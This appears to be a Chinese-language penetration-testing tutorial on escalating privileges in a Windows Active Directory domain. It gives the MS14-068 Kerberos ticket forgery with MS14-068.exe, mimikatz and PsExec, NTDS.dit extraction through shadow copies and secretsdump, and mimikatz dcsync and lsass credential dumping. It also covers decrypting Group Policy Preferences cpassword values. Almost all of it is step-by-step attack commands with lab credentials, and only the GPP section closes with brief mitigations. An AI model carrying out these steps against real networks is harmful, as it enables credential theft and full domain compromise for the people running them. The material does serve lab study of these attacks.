域提权

MS14-068

1. 漏洞简介

  • 漏洞编号:CVE-2014-6324

  • 补丁:3011780

  • 漏洞描述:Windows Kerberos允许特权提升的漏洞,该漏洞可能允许攻击者提升普通域用户账户为域管理员账户。

  • 漏洞影响:攻击者可以利用这些提升的权限控制域中所有的计算机,包括域服务器。
    影响范围:

    Windows Vista
    Windows Server 2003
    Windows Server 2008
    Windows 7
    Windows Server 2008 R2
    Windows 8 & Windows 8.1
    Windows Server 2012 & Windows Server 2012 R2
    

2. 漏洞成因

  1. 从客户端解释:
    当用户进行登录身份验证服务,服务会验证PAC中的签名,并使用PAC中的数据为用户创建一个登录令牌。比如:如果PAC能够携带有效签名表明“ETsafe”是“域管理”安全组的成员,那么创建的登录令牌就将“ETsafe”当作“域管理”组中成员。这样的Kerberos认证存在问题,攻击者可以伪造身份,从域用户提升到域管理权限。
  2. 从服务器端解释:
    KDC对PAC进行验证时,没有严格验证算法。原理上规定必须是带有Key的签名算法才以。但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可

3. 漏洞利用

(1). 前提

  1. 域控没有打MS14-068的补丁(KB3011780)
  2. 拿下一台加入域的主机,并获得普通域用户以及密码hash值,以及用户的SID

(2). 实验环境

  • 域控制器(DC)、域成员机、Psexec、mimikatz
  • MS14-068.exe:下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

(3). 利用过程

  1. 检测域控中是否有MS14-068漏洞,通过査看是否打补丁(KB3011780)来判断是否存在漏洞(黑盒测试时,只能直接尝试使用该漏洞,看是否能成功伪造)

    systeminfo | findstr "3011780"
    

    未找到补丁

  2. 获取域成员sid和域控名

    #域控名
    net time
    
    
    #域成员sid
    whoami /all
    or
    wmic useraccount get name,sid
    

    获取域成员sid

  3. 利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书

    MS14-068.exe -u 用户名@域名 -p 域用户密码 -s 域用户SID -d DC的IP
    MS14-068.exe -u Winserver2008@laffrex.com -p A1B2C3.. -s S-1-5-21-1027567978-1567870151-2422577431-1122 -d 192.168.172.20
    

    生成证书

  4. 利用mimikatz.exe将证书导入,导入之前,需要提前清空票据缓存

    清空票据

    klist purge
    

    清空票据

    利用mimitkatz加载票据

    Mimikatz.exe "kerberos::ptc TGT_Winserver2008@laffrex.com.ccache" exit
    

    加载票据

  5. 提权完成后,使用PsExec.exe获取shell,以管理员权限运行连接域控,新建域管理员用户

    #提前将域用户添加到管理员组
    #PowerShell
    Add-LocalGroupMember -Group "Administrators" -Member "laffrex0\Winserver2008"
    #or cmd命令行
    net localgroup Administrators "laffrex0\Win10" /add
    
    PsExec.exe \\192.168.172.20 -u Administrator -p Password cmd
    
  6. 成功访问到域控C盘

    dir \\Win-TBSCR8QU6JM.laffrex.com\c$
    

    成功访问

获取域控NTDS.dit文件

1. 概述

  • NTDS.DIT是主要的AD数据库,存放在c:\windows\NTDS\NTDS.dit.包括有关域用户成员身份的信息,它还包括域中所有用户的密码哈希值
  • 为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密

2. 获取Hash方式

(1). 在线获取

  • 大型域环境中在线获取hash等待时间较长,工具占用资源多,容易造成域控服务器崩溃。方法:wce、gethashes、mimikatz

(2). 离线获取

  • 将NTDS.dit文件和SYSTEM复制到本地进行遍历。因为ntds.dit和system这两个文件属于系统特殊文件,不能直接复制粘贴,所以需要用特殊的方式来复制粘贴

3. 获取方式

(1). 复制卷影

  1. 为了避免本地操作导致域控崩溃,将远程盘复制一个卷影

  2. 地址为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

    #获得一个卷影
    vssadmin create shadow /for=C:
    

    获得卷影

  3. 导出ntds.dit文件到本地

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Users
    

    导出文件

  4. 导出system文件到本地

    copy \\?\GLOBALROOT\Device\HarddiskVolumeshadowCopy1\windows\system32\config\SYSTEM C:\Users
    

    导出文件

  5. 利用Impacket工具包的脚本文件secretsdump.py来进行离线破解

    python312 secretsdump.py -ntds [ntds文件地址] -system [system文件地址] LOCAL
    python312 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
    

离线破解

(2). 使用工具

a. 导出工具
  • ntdsutil
  • diskshadow.exe
  • vssown
  • msf模块:auxiliary/admin/smb/psexec ntdsgrab
b. 读取工具
  • NTDSDumpEx.exe

获取特定域用户hash

  1. 先进入mimikatz

    mimikatz.exe
    
  2. 输入以下命令

lsadump::dcsync /dc:WIN-TBSCR8QU6JM.laffrex.com /domain:laffrex.com /user:Winserver2008

获取特定域用户hash

获取域用户明文密码

1. 域控上

(1). 在线获取

  • wce、mimikatz、gethashes
a. wce获取
#直接在域控上执行
wce -w
b. mimikatz获取
mimikatz.exe "privilege::debug"
mimikatz.exe "sekurlsa::logonpasswords"

获取特权

获取密码

(2). 离线获取

  • procdump+mimikatz、SqlDumper+mimikatz、SharpDump+mimikatz
a. procdump
  1. procdump64.exe导出lsass.dmp文件

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 使用本地的mimikatz.exe读取lsass.dmp文件

    mimikatz.exe "sekurlsa:minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit
    

2. 普通域成员机上

  • 普通域用户无法获取明文密码,因为利用工具获取明文密码需要从系统进程lsass.exe 的内存空间中读取,域普通用户的权限小于系统进程的system权限,所以没有办法从系统进程 lsass.exe 的内存空间中读取明文密码.

(1). 方法

  1. 以域管理员身份登录到域普通机器
  2. 以本地管理员身份运行wce

组策略首选提权

  • 08之后的版本都已经打过该漏洞的补丁

1. 概述

  • Windows 2008 Server引|入了一项称为组策略首选项(Group Policy Preferences,GPP)的新功能,该功能使管理员可以部署影响域中计算机用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录基计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。

2. 常见组策略首选项

  • 映射驱动器(Drives.xml)
  • 创建本地用户
  • 数据源(DataSources.xml)
  • 打印机配置(Printers.xml)
  • 创建、更新服务(Services.xml)
  • 计划任务(ScheduledTasks.xml)

3. 组策略凭据

  • 管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性较高,微软对外公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,并对保存在XML文件中的密码解密,从而控制域中所有使用该账号、密码的本地管理员计算机。在SYSVOL中搜索,可找到Groups.xml文件。关键是cpassword字段,该字段用AES-256算法加密

  • SYSVOL:它是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。

4. cpassword破解

(1). kali自带命令

  • 使用自带命令gpp-decrypt
gpp-decrypt "cpassword加密字段"

(2). 使用msf

  • post/windows/gather/credentials/gpp 模块
use post/windows/gather/credentials/gpp
show options
set session 1
run

注意:只需要获取域内任何一台以域用户权限登录的机器的权限即可

(3). 使用PowerShell

  • 使用PowerShel获取cpassword,PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码,获取密码后可用本地Administrator账号登录:
Import-Module .Get-GPPPassword.ps1;Get-GPPPassword

5. 配置与利用

  1. 在域控中输入gpmc.msc进入组策略管理,右键新建test组策略
  2. 右键新建的组策略,编辑,找到本地用户和组,并右键新建本地用户
  3. 新建本地用户,将域中每个计算机的本地密码设置成 qwer123456:
  4. 获取组策略的凭据

6. 防御

  1. 在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项中。
  2. 针对Everyone访问权限进行如下设置:
  3. 设置共享文件夹SYSVOL的访问权限
  4. 将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
  5. 不要把密码放在所有域用户都有权访问的文件中
  6. 如果需要更改域中机器的本地管理员密码,建议使用LAPS(本地密码管理方案)